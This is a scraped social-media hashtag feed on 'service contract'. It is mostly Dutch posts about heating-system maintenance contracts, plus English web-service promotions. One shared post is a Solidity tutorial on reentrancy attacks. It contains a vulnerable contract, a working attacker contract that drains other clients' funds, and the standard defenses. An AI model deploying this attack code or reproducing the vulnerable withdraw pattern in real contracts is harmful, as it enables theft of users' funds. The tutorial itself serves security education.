#ServiceContract
Op Kerstochtend wakker worden en ontdekken dat de warmtepomp van hybride verwarming er om 06.30 mee gestopt is...
Gas gedeelte werkt wel, dus geen paniek. Maar als je dan belt om storing te melden om te horen dat je maandag (!) terug kunt bellen, terwijl je een servicecontract hebt is geen pretje.
December 25, 2025 at 11:43 AM
Twee keer maar? Kun je dat servicecontract met Oral B wel opzeggen. 😃
June 19, 2024 at 7:48 AM
Ik maak me zorgen over de rekening. Heb wel een servicecontract, maar ik vrees dat deze werkzaamheden daar allemaal buiten vallen.
December 3, 2024 at 9:15 AM
July 20, 2026 at 12:30 PM
CV was 2 jaar niet gecontroleerd dus maar even geregeld. Intergasje, werkt nog prima maar was wel aan onderhoud toe.
Weer een servicecontract afgenomen bij www.woutersewarmte.nl, prima toko 🙂
December 11, 2024 at 12:09 PM
Heb ik. Aanvankelijk omdat het om een relatief oude ketel ging, maar zelfs nu we vorig jaar een nieuwe ketel hebben laten installeren, heb ik het servicecontract door laten lopen. Contract is bij de partij die ook de installatie heeft gedaan.
July 15, 2026 at 4:56 PM
Ymere zit hier op de hoek Karthuizer/Tichelstraat in het witte pandje gewoon naar binnen stuiteren, risico opblazen, brand en rookgevaar is geen geintje. Ymere huurders hebben een servicecontract met Feenstra. Basis CV voorzieningen zijn van Ymere tot aan voordeur, al is een appartement particulier.
February 20, 2025 at 7:00 PM
August 10, 2026 at 2:43 PM
Ik heb het niet, belde net met de partij waarvan er een sticker op de cv ketel zat (deden het onderhoud voor vorige bewoner) en die begonnen meteen over dat ie relatief oud was en dat je dan alleen “het laagste” servicecontract kon krijgen. Zie nu al door de bomen het bos niet meer
July 15, 2026 at 4:22 PM
Ook afhankelijk van wat is inbegrepen? Ik zag deze:
ᐅ Onderhoud cv-ketel kosten 2025 | Alle prijsinfo op een rij!
Onderhoud cv-ketel kosten 2025 ✔️ Onderhoud cv-ketel prijs ✔️ Kosten onderhoudscontract, servicecontract & all-in-contract
cvketel-gids.nl
October 12, 2025 at 12:15 PM
Ik heb eerlijk gezegd geen idee hoe het dan zit met pgb rolstoelen. Het is zo onduidelijk allemaal. Ik heb geen servicecontract niets
December 10, 2025 at 11:10 AM
De Venezolaanse staat kreeg vanaf '71 meer aandelen via een servicecontract met oliemaatschappijen en dus meer zeggenschap. Uiteindelijk werd dit 85% en daar tegen protesteerden de Amerikaanse oliemaatschappijen niet. Het handelsverdrag met de VS werd alleen het jaar erop niet verlengd.
January 6, 2026 at 9:56 PM
Demystifying Reentrancy Attacks in Solidity: Vulnerabilities and Defenses
## The vulnerable service // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract ServiceContract { mapping(address => uint) public balances; function deposit() external payable { balances[msg.sender] += msg.value; } function withdraw() external { uint balance = balances[msg.sender]; require(balance > 0, "No funds"); // ❌ Vulnerable: external call before state update (bool sent, ) = msg.sender.call{value: balance}(""); require(sent, "Failed"); balances[msg.sender] = 0; } } ## Business Scenario The service contract is like a bank, holding the assets for the clients. When a client deposit `msg.value` the ETH, it records the balance in the ledger balances. When the clients withdraws, it checks the ledger balance, and sends `msg.sender` all the balance with the assumption the client will do nothing when receiving this fund, and clears the ledger thereafter. ## The malicious client // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract ClientContract { ServiceContract public service; constructor(address _service) { service = ServiceContract(_service); } // Kick off the attack function attack() external payable { require(msg.value >= 1 ether); service.deposit{value: msg.value}(); service.withdraw(); } fallback() external payable { if (address(service).balance >= 1 ether) { service.withdraw(); // reenter! } } } The client is not regular client, but a client who exploits the logic vulnerability of the service, when it receives funds through the fallback() function, it will initiate a new withdraw() request as long as the ledger is stale and validate the withdraw, it got the balance of the service contract, i.e. a lot of third party clients' money until it falls below 1 ETH. Defenses against the reentrance attack // ✔️ Checks–Effects–Interactions function safeWithdraw() external { uint balance = balances[msg.sender]; require(balance > 0, "No funds"); balances[msg.sender] = 0; // effect first (bool sent, ) = msg.sender.call{value: balance}(""); require(sent, "Failed"); } // ✔️ Using ReentrancyGuard import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract GuardedService is ReentrancyGuard { mapping(address=>uint) public balances; // deposit() same... function withdraw() external nonReentrant { uint balance = balances[msg.sender]; require(balance>0); balances[msg.sender]=0; (bool sent,)=msg.sender.call{value:balance}(""); require(sent); } } Why the client uses the fallback() function instead of the receive() function directly to execute a reentrancy attack. The receive() function is invoked when a contract receives Ether without any data (i.e., via send() or transfer()). These methods forward only 2300 gas, which is insufficient for complex operations like re-entering another contract. Conversely, call{value: amount}("") forwards all remaining gas, allowing the fallback() function to execute more complex logic, including reentrant calls. Unsafe transfer method: payable(msg.sender).call{value: amount}(""); // UNSAFE! The attacker’s receive() can execute further calls, allowing reentrancy. Safe transfer methods: payable(msg.sender).transfer(amount); // safe (2300 gas) payable(msg.sender).send(amount); // safe (2300 gas, but check The attacker’s receive() function will fail if it tries any logic beyond simple logging or receiving funds due to the low gas limit. A regular client address (EOA—Externally Owned Account) that does not have a contract cannot execute code upon receiving Ether. Only a contract can execute logic automatically upon receiving Ether. Please try it yourself at https://ethernaut.openzeppelin.com/level/10
forem.com
April 28, 2025 at 8:23 PM
Stay calm with our service contract #servicecontract #website
April 27, 2026 at 11:30 AM
March 12, 2026 at 12:30 PM
June 18, 2025 at 11:01 AM
May 25, 2025 at 5:01 PM
May 17, 2025 at 2:30 PM
Every company with common sense uses an external company to control
#servicecontract #webdeveloper #web
May 2, 2025 at 3:12 PM
April 27, 2025 at 2:01 PM
We let you do what you do best, and you let us do what we do best... Get a service contract
#servicecontract #web
March 21, 2025 at 1:30 PM
All companies should have a service contract.. Do you have one?
#servicecontract #webcontract #website
March 11, 2025 at 1:30 PM